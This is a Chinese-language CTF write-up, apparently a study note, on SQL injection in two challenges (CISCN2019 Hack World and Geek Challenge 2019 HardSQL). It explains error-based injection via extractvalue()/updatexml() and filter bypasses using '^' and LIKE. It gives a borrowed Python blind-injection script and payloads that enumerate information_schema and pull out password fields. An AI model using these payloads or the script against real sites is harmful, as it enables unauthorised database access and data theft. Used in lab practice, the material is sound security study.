知识点
SQL报错注入
extractvalue()
- extractvalue() :对XML文档进行查询的函数
- 语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
updatexml()
- updatexml()函数与extractvalue()类似,是更新xml文档的函数。
- 语法updatexml(目标xml文档,xml路径,更新的内容)
空格过滤:用’^'来连接函数,形成异或
‘=’过滤:用like代替‘=’
left(),right()
语法:LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)
LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串、
11-1[CISCN2019 华北赛区 Day2 Web1]Hack World
做题思路
发现给出了表名和列名,于是尝试盲注
发现过滤了很多字符,便绕过输入
1^(ascii(substr((select(flag)from(flag)),1,1))>1)^1
接着感觉手工盲注太花时间,便想写脚本
由于不会写脚本,于是便找了个WP,采用了大佬的脚本得到flag
import requests import time url = "http://f0c8caf0-fc27-454e-83bc-a557d1891b94.node3.buuoj.cn/index.php" temp = {"id" : ""} flag = "" for i in range(1,1000): time.sleep(0.06) low = 32 high =128 mid = (low+high)//2 while(low<high): temp["id"] = "1^" + "(ascii(substr((select(flag)from(flag)),%d,1))>%d)^1" %(i,mid) r = requests.post(url,data=temp) print(low,high,mid,":") if "Hello" in r.text: low = mid+1 else: high = mid mid =(low+high)//2 if(mid ==32 or mid ==127): break flag +=chr(mid) print(flag) print("flag=" ,flag)
11-2[极客大挑战 2019]HardSQL
做题思路
首先,尝试使用万能密码
并没有得到什么东西
尝试注入 发现order by 和 union 都不行
接下来 不知道该怎么走
然后由WP可知,可以使用 extractvalue和updatexml进行报错注入
然后发现过滤了空格和 and
尝试用括号代替空格,仍不行,
发现可以 用’^'来连接函数,形成异或
payload: username=44&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23 爆出库名
接着查询表名
payload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23
然后查询geek里的表
过滤了等于号,可以用 like代替‘=’
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
然后查询字段名
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
获取flag
playload:username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
得到了一部分flag,于是采用left(),right()
playload:username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
playload:username=44&password=1%27^extractvalue(1,concat(0x7e,(select(right (password,30))from(geek.H4rDsq1))))%23
然后将flag拼接就得到了